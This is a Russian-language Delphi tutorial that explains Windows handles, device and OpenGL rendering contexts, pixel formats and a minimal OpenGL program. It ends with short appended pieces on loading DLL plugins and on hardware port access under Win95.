Важно также отметить то, что чаще всего приложения, активно использующие графику, нуждаются от Delphi только в создании окна приложения, таймере и обработчике манипуляций с клавиатурой и мышью. Для таких приложений чаще всего и не требуется богатство библиотеки VCL. и крайне важны скорость работы и "профессиональная" миниатюрность откомпилированного модуля. Поскольку мы вынуждены с самого начала рассматривать и разбирать темы уровнем ниже RAD-технологий, то нам становится по силам и написание программ без визуальных средств вообще, программ, использующих только функции Windows API, стремительно компилируемых и занимающих после компиляции миниатюрные размеры (порядка двух десятков килобайт).
Итак, наш разговор приходится начинать с вопросов, напрямую вроде бы не связанных с OpenGL.
Постараемся ограничить рассмотрение этих тем самым минимальным объемом, поскольку Вы легко можете найти другие, более богатые источники по этим вопросам.
Событие. Сообщение. Контекст.
Начнем наш разговор с понятий "событие" и "сообщение".
Очень часто это синонимы одного и того же термина операционной системы, общающейся с приложениями посредством посылки сообщений. Код, написанный в проекте Delphi как обработчик события OnCreate, выполняется при получении приложением сообщения WM_CREATE, сообщению WM_PAINT соответствует событие OnPaint, и т.д..Такие события использует мнемонику, сходную с мнемоникой сообщений.
Как операционная система различает окна для осуществления диалога с ними? Все окна при своем создании регистрируются в операционной системе и получают уникальный идентификатор, называемый "ссылка на окно". Тип этой величины в Delphi - HWND (WiNDow Handle, ссылка на окно).
Ссылка на окно может использоваться не только операционной системой, но и приложениями для идентификации окна, с которым необходимо производить манипуляции.
Попробуем проиллюстрировать смысл ссылки на окно на несложном примере.
Откомпилируйте минимальное приложение Delphi и начните новый проект. Форму назовите Form2, разместите на форме кнопку, обработчик события OnClick кнопки приведите к следующему виду:
procedure TForm2.Button1Click(Sender: TObject);
var
H: HWND;
begin
H := FindWindow ('TForm1', 'Form1');
if H <> 0 then
ShowMessage ('Есть Form1!')
else
ShowMessage ('Нет Form1!')
end;
|
Теперь при щелчке на кнопке выдается сообщение, есть ли запущенное приложение, класс окна которого зарегистрирован в операционной системе как 'TForm1', в заголовке которого записано 'Form1'. То есть если одновременно запустить обе наши программы, при нажатии на кнопку выдается одно сообщение, если окно с заголовком 'Form1' закрыть, при щелчке на кнопку выдается другое сообщение.
Здесь мы используем функцию API FindWindow, возвращающую величину типа HWND - ссылку на найденное окно либо ноль, если такое окно не найдено.
Итак, ссылка на окно однозначно определяет окно. Свойство Handle формы и есть эта ссылка, значение которой форма получает при выполнении функции API CreateWindow - создании окна. Имея ссылку на окно, операционная система общается с окном путем посылки сообщений-сигналов о том, что произошло какое-либо событие, имеющее отношение именно к этому окну. Если окно имеет намерение отреагировать на это событие, операционная система имеет это в виду и вместе с окном осуществляет эту реакцию. Окно может и не имея фокус получать сообщения и реагировать на них.
Проиллюстрируем это на примере.
Обработчик события OnMouseMove формы приведите к виду:
procedure TForm2.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin Caption := 'x=' + IntToStr (X) + ', y=' + IntToStr (Y); end; |
В заголовок формы выводятся координаты указателя мыши.
Запустите два экземпляра программы и обратите внимание, что окно, не имеющее фокус ("неактивное"), тоже реагирует на перемещение указателя по его поверхности.
Имея ссылку на окно, приложение может производить с ним любые действия, путем посылки ему сообщений.
Изменим код обработки щелчка кнопки:
procedure TForm2.Button1Click(Sender: TObject);
var
H: HWND;
begin
H := FindWindow ('TForm1', 'Form1');
if H <> 0 then
SendMessage(H, WM_CLOSE, 0, 0);
end;
|
Если имеется окно класса 'TForm1' с заголовком 'Form1', наше приложение посылает ему сообщение WM_CLOSE - пытается закрыть окно.
Точно также, если необходимо нарисовать что-либо на поверхности чужого окна, необходимо получить ссылку на это окно.
Для начала попробуем рисовать на поверхности родного окна.
Разместите еще одну кнопку, обработку щелчка которой приведите к виду:
procedure TForm2.Button2Click(Sender: TObject); var dc: HDC; begin dc := GetDC (Handle); Rectangle (dc, 10, 10, 110, 110); ReleaseDC (Handle, dc); end; |
Запустите приложение. При щелчке на добавленной кнопке на поверхности окна рисуется квадрат. Для рисования используем низкоуровневые функции Windows.
Попробуем рисовать на поверхности чужого окна, для чего изменим только что написанный код:
procedure TForm2.Button2Click(Sender: TObject);
var
dc: HDC;
Window: HWND;
begin
Window := FindWindow ('TForm1', 'Form1');
if Window <> 0 then
begin
dc := GetDC (Window);
Rectangle (dc, 10, 10, 110, 110);
ReleaseDC (Handle, dc);
end
end;
|
Теперь во время работы приложения, если в системе зарегистрировано окно класса 'TForm1' с заголовком 'Form1', вывод будет осуществляться на него. Запустите параллельно откомпилированные модули минимального и только что созданного приложений. При щелчке на кнопке прямоугольник рисуется на поверхности чужого окна.
Замечу, что если закрыть Project1.exe и загрузить в Delphi соответствующий ему проект, при щелчке на кнопке прямоугольник будет рисоваться на поверхности окна формы, что будет выглядеть необычно.
Функции Windows для воспроизведения нуждаются в специальной величине типа HDC (Handle Device Context, ссылка на контекст воспроизведения), для задания значения которой необходимо иметь величину типа HWND - ссылка на окно, уникальный идентификатор всех зарегистрированных в системе окон. В зависимости от версии Delphi ссылки имеют тип либо Integer, либо LongWord.
Графическая система OpenGL, как и любое другое приложение Windows, также нуждается в ссылке на окно, на котором будет осуществляться воспроизведение - специальной ссылке на контекст воспроизведения - величина типа HGLRC (Handle openGL Rendering Context, ссылка на контекст воспроизведения OpenGL). Для получения этого контекста OpenGL нуждается в величине типа HDC (контекст воспроизведения) окна, на который будет осуществляться вывод.
Поэтому наши примеры имеют следующие строки в разделе private описания формы:
DC: HDC; hrc: HGLRC; |
А обработчик события OnCreate формы начинается со следующих строк:
DC := GetDC(Handle); SetDCPixelFormat; hrc := wglCreateContext(DC); wglMakeCurrent(DC, hrc); |
То есть мы получаем контекст воспроизведения Windows, задаем желаемый формат пикселей, создаем контекст воспроизведения OpenGL и делаем его текущим, чтобы вызываемые функции OpenGL могли работать с этим окном.
По поводу формата пикселей мы поговорим подробнее чуть позже, а сейчас я хотел бы обратить внимание на два момента.
Во-первых, величину типа HDC мы получаем при создании окна, в обработчике события OnCreate, или, другими словами, в обработчике сообщения WM_CREATE. Это является обычным и традиционном для Windows-программ.
Некоторые программисты сделали мне замечание, что получение контекста воспроизведения при создании окна является несколько некорректным для Windows 9X и более правильным было бы получение контекста в обработчике событий OnShow или OnPaint. Возможно, это так и есть, и в некоторых ситуациях может сказаться на корректности работы приложения. Вы должны учитывать это при написании ответственных приложений.
Во-вторых, контекст воспроизведения Windows и контекст воспроизведения OpenGL обычно освобождаются приложением. То есть, команды вывода OpenGL обычно обрамляются следующими строками:
dc := BeginPaint(Window, ps); wglMakeCurrent(DC, hrc); wglMakeCurrent(0, 0); EndPaint (Window,ps); ReleaseDC (Window, dc); |
Повторяю, это обычные последовательности действий для Windows-программ, контекст воспроизведения должен быть доступен системе и другим приложениям. Я же во многих примерах пренебрегаю этим правилом для сокращения кода. Вы можете убедиться, что программы работают в общем случае корректно, хотя мы отдаем себе отчет, что в некоторых ситуациях такой подход может привести к "глюковатости" работы приложения. Это также надо учесть при написании ответственных приложений.
В наших примерах контекст воспроизведения OpenGL мы занимаем сразу же при его получении, в обработчике события OnCreate, а освобождаем в конце работы приложения, в обработчике события OnDestroy.
Еще одно замечание - команды и функции OpenGL имеют префикс gl для размещенных в библиотеке opengl32.dll и glu для размещенных в библиотеке glu32.dll. Прототипы этих функций находятся в модуле opengl.pas. Функции OpenGL, имеющие отношение только к реализации OpenGL под Windows, имеют префикс wgl, как, например, wglCreateContext, а некоторые вообще не имеют префикса, например, SwapBuffers. Их прототипы описаны в модуле windows.pas.
Если понятия "сообщение" и "контекст" Вами поняты, сейчас Вы можете разобрать проекты WinMin.dpr и Paint.dpr в каталоге Beginer/0. В списке uses данных проектов перечислены всего два модуля - Windows и Messages (SysUtils в проекте Paint не используется). Это означает, что данные проекты не используют библиотеку VCL Delphi. После компиляции этих проектов Вы получите 16-ти килобайтные приложения. Приложения эти иллюстративные, умеют делать немногое, но для нас важен код проектов, возвращающий во времена старого доброго Borland Pascal-я, громоздкий, плохочитаемый, но эффективный для наших задач. Эти проекты помогают понять новичкам, какую каторожную работу выполняет за нас Delphi, и как в действительности работают Windows-приложения. Проекты я постарался хорошо откомментировать, чтобы Вам было легче разобраться.
Если Вы разберетесь, как рисовать функциями GDI на поверхности своего окна, Вы яснее сможете понять, как машина OpenGL рисует на поверхности чужого окна.
Работа с OpenGL - Минимальная программа.
| Идет кинофильм, какой то душераздирающий триллер. Главная героиня в ажурном нижнем белье медленно продвигается по темному коридору. Музыка нагнетает обстановку. Главная героиня подходит к двери, протягивает руку, что бы открыть ее ... И тут истошный крик из зала: - Сохраняйся, дура!!! Сохраняйся!!! |
Содержимое контекста
Итак, если необходимо осуществить вывод на поверхность чужого окна, надо, получив ссылку на это окно, получить ссылку на контекст устройства, связанную с этим окном, после чего можно рисовать на чужом окне. Когда мы работаем с OpenGL, мы создаем контекст воспроизведения OpenGL, связанный с контекстом устройства нашего окна, далее обращаемся к функциям OpenGL, отрабатывая которые, OpenGL строит картинку на поверхности нашего устройства.
То есть схема здесь такая - приложение отдает команды машине OpenGL, получая результат на поверхности своего окна. Такая архитектура называется "клиент - серверной", в роли клиента выступает наше приложение, в роли сервера - система OpenGL. Задача сервера - отрабатывать команды клиента. В принципе, сервер может располагаться и не на нашем компьютере, а удаленно, возможно и за тысячи километров от нас. Наше приложение должно передать серверу требуемые для работы данные - контексты и команды на языке сервера. Также важно понимать, что основную работу выполняет не наше приложение, а сервер. Наше приложение лишь создает окно - платформу для работы сервера, и передает команды серверу. При грамотном подходе нет разницы, какими средствами мы спроектировали приложение - С или Delphi, скорость воспроизведения целиком зависит от производительности сервера - машины OpenGL. Мы выбрали в качестве средства разработки приложений именно Delphi за выдающуюся скорость компиляции и обаятельность концепций.
Поскольку контексты занимают немаловажное место в нашей работе, поговорим о них чуть более подробно.
Мы знаем, что ссылка на контекст устройства - величина типа HDC, для получения которой вызываем функцию GetDC. Ссылке на контекст устройства в Delphi соответствует свойство Canvas.Handle формы, принтера и некоторых компонентов. Теоретически всюду в наших примерах в строках, использующих величину DC типа HDC, вместо DC можно использовать Canvas.Handle. В первых примерах для начинающих это так и сделано. Каков же все-таки смысл контекста устройства, если он и так связан с однозначно определенным объектом - окном, областью памяти или принтером, и зачем передавать дополнительно какую-то информацию об однозначно определенном объекте?
Для ответа на эти вопросы разберемся с выводом в Windows, замечательным свойством которого является то, что одними и теми же функциями осуществляется вывод на различные устройства.
Строки:
Form1.Canvas.Ellipse (0, 0, 100, 100); |
И.
Printer.BeginDoc; Printer.Canvas.Ellipse (0,0,100,100); Printer.EndDoc; |
Рисуют один и тот же эллипс на поверхности формы и на распечатываемом документе соответственно, то есть на различных устройствах. Причем, если мы будем выводить разноцветную картинку на монохромный принтер, он справится с этой задачей, передавая цвета оттенками серого. Даже если мы рисуем только на канве формы, мы имеем дело с различными устройствами - нам неизвестно, какова графическая плата пользователя и каковы характеристики текущей установки настроек экрана. Например, имея в своем распоряжении более 16 миллионов цветов, приложение не заботится об отображении такой богатой палитры на экране, располагающем всего 256 цветами. Эти вопросы приложение перекладывает на плечи операционной системы, решающей их посредством драйверов устройств. Приложению для того, чтобы воспользоваться функциями воспроизведения Windows, необходимо только указать ссылку на контекст устройства, содержащую средства и характеристики устройства вывода.
Win32 Programmer's Reference фирмы MicroSoft о контексте устройства сообщает следующее:
"Контекст устройства является структурой, которая определяет комплект графических объектов и связанных с ними атрибутов, и графические режимы, влияющие на вывод. Графический объект включает карандаш для изображения линии, щетку для краски и заполнения, растр для копирования или прокрутки частей экрана, палитру для определения комплекта доступных цветов, области для отсечения и других операций, и маршрута для операций рисования".
Термин "структура", встретившийся здесь, соответствует записи в терминологии Delphi. Контекст устройства Windows содержит информацию, относящуюся к графическим компонентам GDI, контекст воспроизведения содержит информацию, относящуюся к OpenGL, то есть играет такую же роль, что и контекст устройства для GDI. В частности, эти контексты являются хранилищами состояния системы, например, хранят информацию о текущем цвете карандаша.
Формат пикселя
Итак, ссылка на контекст устройства содержит характеристики устройства и средства отображения. Именно он знает, как выводить на конкретно это устройство. Упрощенно говоря, получив ссылку на контекст устройства, мы берем в руки простой либо цветной карандаш, или кисточку с палитрой в миллионы оттенков. Сервер OpenGL, прежде чем приступать к работе, также должен определиться, на каком оборудовании ему придется работать. Это может быть скромная персоналка, а может быть и мощная графическая станция. Прежде чем получить контекст воспроизведения, сервер OpenGL должен получить детальные характеристики используемого оборудования. Эти характеристики хранятся в специальной структуре, тип которой - TPixelFormatDescriptor (описание формата пикселя). Формат пикселя определяет конфигурацию буфера цвета и вспомогательных буферов.
Самый частый вопрос, который я получаю в связи с моими уроками, заключается в просьбе указать источники подробной информации об OpenGL на русском. К сожалению, если такие и есть, то мне они неизвестны. Главным нашим подручным станет поставляемый в составе Delphi файл помощи по OpenGL. Систему помощи Delphi для получения хороших результатов необходимо настраивать, если в помощи Delphi найти раздел по OpenGL, он не порадует обилием информации. В разных версиях Delphi настройка помощи выполняется по-разному, потребуются некоторые несложные манипуляции, но мы не будем тратить на это время. Будем использовать самый простой способ - контекстную помощь. Наберите в тексте модуля фразу "PixelFormatDescriptor", нажмите клавишу F1 и Вы получите подробную помощь об этом типе. Точно также мы будем получать помощь обо всех терминах, функциях и командах OpenGL.
Итак, мы получили обширное описание структуры PixelFormatDescriptor. Обращаю внимание, что мы видим раздел помощи MicroSoft, рассчитанной на программистов С и С++, поэтому описание использует термины и стилистику именно этих языков. Так, по традиции Delphi имена типов начинаются с префикса T, но нам не удастся найти помощь по термину TPixelFormatDescriptor. К сожалению, это не единственное неудобство, которое нам придется испытывать. Например, если сейчас мы заглянем в файл windows.pas и найдем описание записи TPixelFormatDescriptor, мы обнаружим, что в файле помощи не указаны некоторые константы, а именно: PFD_SWAP_LAYER_BUFFERS, PFD_GENERIC_ACCELERATED и PFD_DEPTH_DONTCARE. А константа, названная PFD_DOUBLE_BUFFER_DONTCARE, по-видимому, соответствует константе, описанной в модуле windows.pas как PFD_DOUBLEBUFFER_DONTCARE. Наверное, более поздние версии помощи и заголовочного файла исправят этот и другие неточности.
Итак, смысл структуры PixelFormatDescriptor - детальное описание графической системы, на которой происходит работа. Вас может озадачить дотошность этого описания, но, уверяю, особое внимание от нас из всего этого описания требует совсем немногое.
В каталоге Beginner/1 Вы найдете проект OpenGL_min.dpr, в котором я привел описание всех полей структуры TPixelFormatDescriptor на русском, в момент их первоначального заполнения. Делается это в процедуре SetDCPixelFormat, вызываемой между получением ссылки на контекст устройства и созданием контекста воспроизведения OpenGL. Посмотрим подробнее, что там делается. Полям структуры присваиваются желаемые значения, затем вызовом функции ChoosePixelFormat осуществляется запрос системе, поддерживается ли на данном рабочем месте выбранный формат пикселя, и вызовом функции SetPixelFormat устанавливаем формат пикселя в контексте устройства. Функция ChoosePixelFormat возвращает индекс формата пикселя, который нам нужен в качестве аргумента функции SetPixelFormat.
Заполнив поля структуры TPixelFormatDescriptor, мы определяемся со своими пожеланиями к графической системе, на которой будет происходить работа приложения, машина OpenGL подбирает наиболее подходящий к нашим пожеланиям формат, и устанавливает уже его в качестве формата пикселя для последующей работы. Наши пожелания корректируются применительно к реальным характеристикам системы. То, что машина OpenGL не позволит нам установить нереальный для конкретной машины формат пикселя, значительно облегчает нашу работу. Предполагая, что разработанное приложение будет работать на машинах разного класса, можно запросить "всего побольше", а уж OpenGL разберется на конкретной машине, каковы параметры и возможности оборудования, на котором сейчас будет происходить работа. На этом можно было бы и закончить разговор о формате пикселя, если бы мы могли полностью довериться выбору OpenGL.
Обратим внимание на поле структуры "битовые флаги" - dwFlags. То, как мы зададим значение флагов, существенно может сказаться на работе нашего приложения, и наобум задавать эти значения не стоит. Тем более, что некоторые флаги совместно ужиться не могут, а некоторые могут присутствовать только в паре с другими. В этом примере флагам я присвоил значение PFD_DRAW_TO_WINDOW or PFD_SUPPORT_OPENGL, то есть сообщаю системе, что я собираюсь осуществлять вывод в окно, и что моя система в принципе поддерживает OpenGL. Я ограничился всего двумя константами из обширного списка, приведенного в модуле windows.pas, по каждой из которых в файле помощи приведено детальное описание.
Так, константа PFD_DOUBLEBUFFER включает режим двойной буферизации, когда вывод осуществляется не на экран, а в память, затем содержимое буфера выводится на экран. Это очень полезный режим, если в любом примере на анимацию убрать режим двойной буферизации и все команды, связанные с этим режимом, хорошо будет видно мерцание при выводе кадра. Константу PFD_GENERIC_ACCELERATED имеет смысл устанавливать в случае, если компьютер оснащен графическим акселератором. Флаги, заканчивающиеся на "DONTCARE" , сообщают системе, что соответствующий режим может иметь оба значения, то есть PFD_DOUBLE_BUFFER_DONTCARE - запрашиваемый формат пикселя может иметь оба режима - одинарной и двойной буферизации. Со всеми остальными полями и константами я предоставляю Вам возможность разобраться самостоятельно, только замечу, что поле iLayerType, описанное в windows.pas типа Byte, может, согласно помощи, иметь три значения: PFD_MAIN_PLANE, PFD_OVERLAY_PLANE и PFD_UNDERLAY_PLANE, однако константа PFD_UNDERLAY_PLANE имеет значение -1, так что установить такое значение не удастся.
OpenGL позволяет узнать, какой же формат пикселя он собирается использовать. Для этого необходимо использовать функцию DescribePixelFormat, заполняющую величину типа TPixelFormatDescriptor установленным форматом пикселя. На основе использования этой функции построим несложное приложение, позволяющее детальнее разобраться с форматом пикселя и подобрать формат для конкретного рабочего места.
В примере битовым флагам задаем все возможные значения одновременно, числовым полям задаем заведомо нереальное значение 64, и смотрим на выбор формата пикселя, сделанным OpenGL. Результат, который Вы получите - выбранный формат пикселя, я предсказать не смогу - он индивидуален для каждой конкретной конфигурации машины и текущих настроек. Возможно, Вы получите в результате, что режим двойной буферизации не будет установлен - напоминаю, многие флаги устанавливаются только в комбинации с другими определенными. Наше приложение позволяет менять параметры формата пикселя и устанавливать его заново. Чтобы видеть, что происходит воспроизведение, небольшая площадка на экране при каждом тестировании окрашивается случайным цветом, используя функции OpenGL. Поэкспериментируйте с этим приложением, например, определите комбинацию флагов для установления режима двойной буферизации. Посмотрите значение числовых полей формата при различной палитре экрана - 16, 24, 32 бита, но не 256 цветов. О выводе при палитре экрана в 256 цветов - отдельный разговор. Это приложение, в частности, дает ответ на вопрос - как определить, оснащен ли компьютер графическим акселератором. Повозившись с этим приложением, Вы найдете ответ на вопрос, на который я Вам ответить не смогу - как надо заполнить структуру TPixelFormatDescriptor для Вашего компьютера. Обратите внимание, что в коде я установил несколько проверок на отсутствие контекста воспроизведения, который может быть потерян по ходу работы любого приложения, использующего OpenGL - редкая, но возможная ситуация в штатном режиме работы системы и очень вероятная ситуация если, например, по ходу работы приложения менять настройки экрана.
Минимальная программа OpenGL
Теперь мы знаем все, что необходимо для построения минимальной программы, использующей OpenGL. Я привел два варианта этой программы - одна построена исключительно на функциях Windows API, другая использует библиотеку классов Delphi (проекты каталогов Beginner/1 и Beginner/2 соответственно).
Взглянем на головной модуль второго проекта. При создании формы задаем формат пикселя, в качестве ссылки на контекст устройства используем значение Canvas.Handle формы. Создаем контекст воспроизведения OpenGL и храним в переменной типа HGLRC. При обработке события OnPaint устанавливаем контекст воспроизведения, вызываем функции OpenGL и освобождаем контекст. При завершении работы приложения удаляем контекст воспроизведения. Для полной академичности можно включить строки, проверяющие, получен ли контекст воспроизведения, и не теряется ли он по ходу работы. Признаком таких ситуаций является нулевое значение переменной hrc. В минимальной программе я просто окрашиваю окно в желтоватый оттенок. Получив помощь по команде glClearColor, Вы можете узнать, что аргументы ее - тройка вещественных чисел в интервале [0;1], задающих долю красного, зеленого и синего составляющих в цвете и еще один, четвертый аргумент, о котором мы поговорим чуть позднее. Этому аргументу я в примере задал значение 1.0. Вообще то, аргументы glClearColor, согласно помощи, имеют неведомый тип GLclampf. Для того, чтобы разобраться с этим типом, отсылаю к строке.
GLclampf = Single; |
Модуля opengl.pas.
Подробный разговор о типах OpenGL тоже придется пока отложить, чтобы не загрузить чрезмерным обилием информации.
Строку нашей программы.
glClear(GL_COLOR_BUFFER_BIT); |
Будем понимать как очистку экрана, фон при этом покрывается заданным цветом.
Проект, построенный только на функциях API, надеюсь, сейчас стал более понятным. Вместо Canvas.Handle используем собственную переменную dc, в обработчике события WM_PAINT реализуем действия, которые Delphi при обычном подходе выполняет за нас. Напоминаю, что для лучшей устойчивости работы обработчик WM_PAINT следовало бы написать так:
dc := BeginPaint (Window, MyPaint); wglMakeCurrent (dc, hrc); glClearColor (0.85, 0.75, 0.5, 1.0); glClear (GL_COLOR_BUFFER_BIT); wglMakeCurrent (dc, 0); EndPaint (Window, MyPaint); ReleaseDC (Window, dc); |
А в обработчике WM_DESTROY следует перед PostQuitMessage добавить строку:
DeleteDC (dc); |
То есть все используемые ссылки необходимо освобождать, а после того, как они стали не нужны - удалять.
Я советую Вам сейчас поэкспериментировать с этой программой, заполните поля формата пикселя найденными значениями, соответствующими Вашей системе, попробуйте удалить строки, соответствующие получению контекста воспроизведения, поменяйте оттенок используемого фона и только после того, как каждая строка кода будет полностью ясна, переходите к дальнейшему материалу.
Во всех своих примерах я приписал рекомендацию не запускать проекты, использующие OpenGL под управлением среды Delphi. Дело в том, что часто в таких ситуациях программа аварийно прерывается, выдавая сообщение "access violation -". Это происходит и в случае самой аккуратной работы с контекстами, и не связано с небрежностью работы программы. Некоторые программисты вину за это возлагают на софтверные драйверы и рекомендуют обновить их. Некоторые утверждают, что дело в Windows 9X, и под NT этого не происходит. Возможно, Вы тоже ничего такого не замечали и не можете взять в толк, о чем я сейчас веду речь. У меня такие окошки вылетают через раз на одном и том же проекте, хотя откомпилированный модуль работает превосходно. Я полагаю, что если драйверы не "глюкуют", когда приложение работает без среды Delphi, дело не только в драйверах.
Вывод на поверхность компонентов
Теоретически функциями OpenGL возможно осуществлять вывод не только на поверхность формы, а и на поверхность любого компонента, если у него имеется свойство Canvas.Handle, для чего при получении контекста воспроизведения необходимо указывать именно его ссылку на контекст устройства, например, Image1.Canvas.Handle. Однако чаще всего это приводит к неустойчивой работе, вывод "то есть, то нет", хотя контекст воспроизведения присутствует и не теряется. Я советую Вам всегда пользоваться выводом исключительно на поверхность окна. OpenGL прекрасно уживается с визуальными компонентами, как видно из примера TestPFD, если же необходимо ограничить размер области вывода, для этого есть стандартные методы, о которых мы обязательно будем беседовать в будущем.
Просто ради интереса приведу пример, когда вывод OpenGL осуществляется на поверхность панели, то есть компонента, не имеющего свойства Canvas. Для этого мы пользуемся тем, что панель имеет отдельное окно, вызываем функцию GetDC с аргументом Panel1.Handle.
Точно также Вы можете выводить на поверхность любого компонента, имеющего свойство Handle, например, на поверхность обычной кнопки. Обязательно попробуйте сделать это.
Для вывода на компонент класса TImage можете записать:
dc := Image1.Canvas.Handle; |
И удалить строки BeginPaint и EndPaint, поскольку TImage не имеет свойства Handle, то есть не создает отдельного окна. Однако вывод на такие компоненты как раз отличается полной неустойчивостью, так что я не гарантирую Вам надежного положительного результата.
Вообще, вместо использования Canvas.Handle лучше использовать самостоятельно полученную аналогичную величину, вместо обработки событий лучше использовать свои ловушки сообщений. Такой подход приводит к максимальной скорости и надежности работы приложения.
В конце сегодняшнего разговора я хочу привести еще несколько проектов, появившихся за это время из под моего пера и дополняющих "ЖиЛистую Delphi".
Как работать с плагинами.
Автор: Nomadic Я сделал так - выбираю все DLL из каталога с программой, загружаю каждую и пытаюсь найти в ней функцию (через API GetProcAddress) с заранее определенным жестко именем (например что нибудь типа IsPluginForMyStuff). Если нашлась - DLL считается моим плагином, если нет - выгрузить и забыть. А набор вызываемых функций по идее одинаков у всех плагинов, и программа (основная) в курсе какие именно функции она ищет в DLL. Если даже и не так, то ничего не мешает тебе определить в плагине функцию наподобие GetFeatures, возвращающую список строк-названий поддержанных плагином процедур.Вот часть моего кода по работе с плагинами...
...
type
// Процедурные типы для хранения ссылок на функции плагинов
TGetNProc = function: shortstring;
TGetSProc = function: integer;
TProcessProc = procedure(config: pointer; request: PRequest; var reply:
PReply);
TConfigProc = procedure(defcfg: PSysConfig; var config: pointer);
TSaveLoadProc = procedure(inifile: pointer; var config: pointer);
// Информация об отдельном плагине
TPlugin = record
Name: shortstring; // Полное название
Filename: shortstring; // Имя файла
Handle: integer; // Хэндл загруженной DLL
CFGSize: integer; // Размер конфигурации в RAM
ProcessProc: TProcessProc; // Адрес процедуры обработки
ConfigProc: TConfigProc; // Адрес процедуры настройки
LoadCFG, SaveCFG: TSaveLoadProc; // Адреса процедур чтения/записи cfg
end;
PPlugin = ^TPlugin;
// Список загруженных плагинов
TPlugins = class(TList);
...
var
Plugins: TPlugins;
sr: TSearchRec;
lib: integer;
pgetn: TGetNProc;
pgets: TGetSProc;
plugin: PPlugin;
...
// Читаем плагины и создаем их список.
Plugins := TPlugins.Create;
if FindFirst('*.dll', faAnyFile, sr) <> 0 then
begin
ShowMessage('Не найдено подключаемых модулей.');
Close;
end;
repeat
lib := LoadLibrary(PChar(sr.Name));
if lib <> 0 then
begin
@pgetn := GetProcAddress(lib, 'GetPluginName');
if @pgetn = nil then
FreeLibrary(lib) // Не плагин
else
begin
New(plugin);
@pgets := GetProcAddress(lib, 'GetCFGSize');
plugin.Name := pgetn;
plugin.Filename := sr.Name;
plugin.CFGSize := pgets;
plugin.Handle := lib;
plugin.ConfigProc := GetProcAddress(lib, 'Configure');
plugin.ProcessProc := GetProcAddress(lib, 'Process');
plugin.SaveCFG := GetProcAddress(lib, 'SaveCFG');
plugin.LoadCFG := GetProcAddress(lib, 'LoadCFG');
Plugins.Add(plugin);
end;
end;
until FindNext(sr) <> 0;
FindClose(sr);
...
|
Работа с портами под Win95, обзор и теория.
ВступлениеПредполагалось, что данный материал будет небольшой лекцией, посвящающей вас в технологию работы с последовательными портами под различными платформами. Но это не так, поскольку материала для этой лекции хватит на десятка два советов. Поэтому коротенько так, кратенько, небольшое вступление...
ПроблемаПод MS-DOS приложение управляет всем компьютером. Это развязывало программисту руки. Достижение максимальной скорости работы осуществлялось непосредственным доступом к аппаратным средствам.
Под Windows 3.x эта свобода отчасти была ограничена. К примеру вы уже не имели полный доступ к экрану. Проблема объясняется легко: с тех пор, как пользователь мог запускать любое количество приложений, не было никакой гарантии, что приложения не получали одновременно те же самые аппаратные средства.
Другая проблема - вы уже должны были считаться с параллельно запущенными задачами, а не требовать у компьютера в свое распоряжение все ресурсы. Win 3.x осуществляет кооперацию параллельных задач, означая, что каждое приложение должно исходить из концепции совместного существования и не монополизировать ресурсы, а пользоваться услугами специализированного диспетчера. Захват CPU на длительное время здесь не приветствуется. Но тем не менее монополизированный доступ к аппаратным средствам также возможен, но вся ответственность за работу других приложений ложится на программиста. Получается борьба вашего приложения с системой: если вы захватываете все рабочее время CPU, контроль над портами или работу с памятью, то система милостиво ждет, пока вы не отдадите бразды правления в ее руки, при этом другие приложения (если они не успели это сделать до вас) могут ругаться, выплевывать на экран грязные ругательства и пугать не в чем не повинного пользователя.Факт, но тенденция отбивания рук от прямого доступа к железу победила на платформе Win32 (Windows NT и Windows 95). Это операционные системы с истинной многозадачностью. Каждый поток (выполняемый модуль) получает определенный квант процессорного времени. Когда лимит процессорного времени исчерпан, или появляется поток с более высоким приоритетом, система прекращает обслуживать первый поток, даже в случае, если он не завершен. Это переключение между потоками может произойти между двумя ассемблерными инструкциями, нет никакой гарантии, что поток сможет завершить определенное количество инструкций, прежде чем у него отнимут процессорное время, к тому же неизвестно как долго ждать следующей порции процессорного времени.
Это приводит к проблеме с прямым доступом к аппаратным средствам. Например, типичное чтение из порта формируется из нескольких ассемблерных инструкций:
mov dx, AddressPort mov al, Address out dx, al jmp Wait Wait: mov dx, DataPort in al, dx |
Состояние всех регистров при переключении потоков сохраняется, состояние I/O портов (последовательные порты, порты ввода/вывода) - нет. Так, велика вероятность что другие приложения производят другие операции с I/O портом, в то время как вы "застряли" между инструкциями 'out' и 'in'.
Документированный путьДля решения этой проблемы мы должны как-то сообщить всем другим приложениям, что "К настоящему времени MyProg использует порт 546, и всем оставаться на своих местах до моего особого распоряжения." В этом случае подешел бы мьютекс. К сожалению, для использования созданного мьютекса все приложения должны знать его имя. Но даже если бы это было возможно, вы легко можете наткнуться на другие заковыристые проблемы. Рассмотрим два приложения - App1 и App2. Оба пытаются выполнить вышеприведенный код. К несчастью, они созданы разными программистами с разным взглядом на технологию доступа, поэтому App1 сначала требует AddressPortMutex, в то время как App2 требует DataPortMutex. И, по печальному совпадению, когда App1 получает AddressPortMutex, система переключается на App2, которое захватывает DataPortMutex и получается праздник смертельного объятия. App2 не может получить адрес порта, т.к. его захватило App1. App1 не может получить данные порта, т.к. это захватило App2. И все чего-то ждут...
Правильное решение - создание драйвера устройства, которой единолично владеет портами/памятью. Доступ к аппаратным средствам осуществляется посредством API. Вот типичный вызов:
GetIOPortData(AddressPort, DataPort : word) : Byte; |
GetIOPortData сначала создает мьютекс, который защищает от вторжения (возможно все) порты, затем дает доступ к портам и, наконец, уничтожает его перед возвратом в вызвавшему функцию оператору. В случае, когда функцию пытаются вызвать несколько потоков, управление получает только один, остальные в это время ждут.
Создание драйвера устройства дело нелегкое. Он должен быть создать с помощью ассемблера или C и невероятно труден в отладке. Более того, из-за соображений безопасности драйверы устройств для Windows 95 (VxD) не совместимы с драйверами для Windows NT (VDD, virtual device driver - виртуальный драйвер устройства). Говорят, что в будущих версиях они будут совместимы, и Windows NT 6.0 и Windows 2000 будут использовать одни и те же драйвера, но пока разработчики вынуждены заниматься созданием двух различных версий.
Для получения более подробной информации рекомендую обратиться к следующим ресурсам:
Microsoft Windows 95 Device Driver Kit.
Microsoft Windows NT Device Driver Kit.
Microsoft Press "Systems Programming for Windows 95" автора Walter Oney.
Также вы можете ознакомиться с библиотекой Vireo VtoolsD на предмет написания VxD в C, расположенной по адресу http://www.vireo.com.
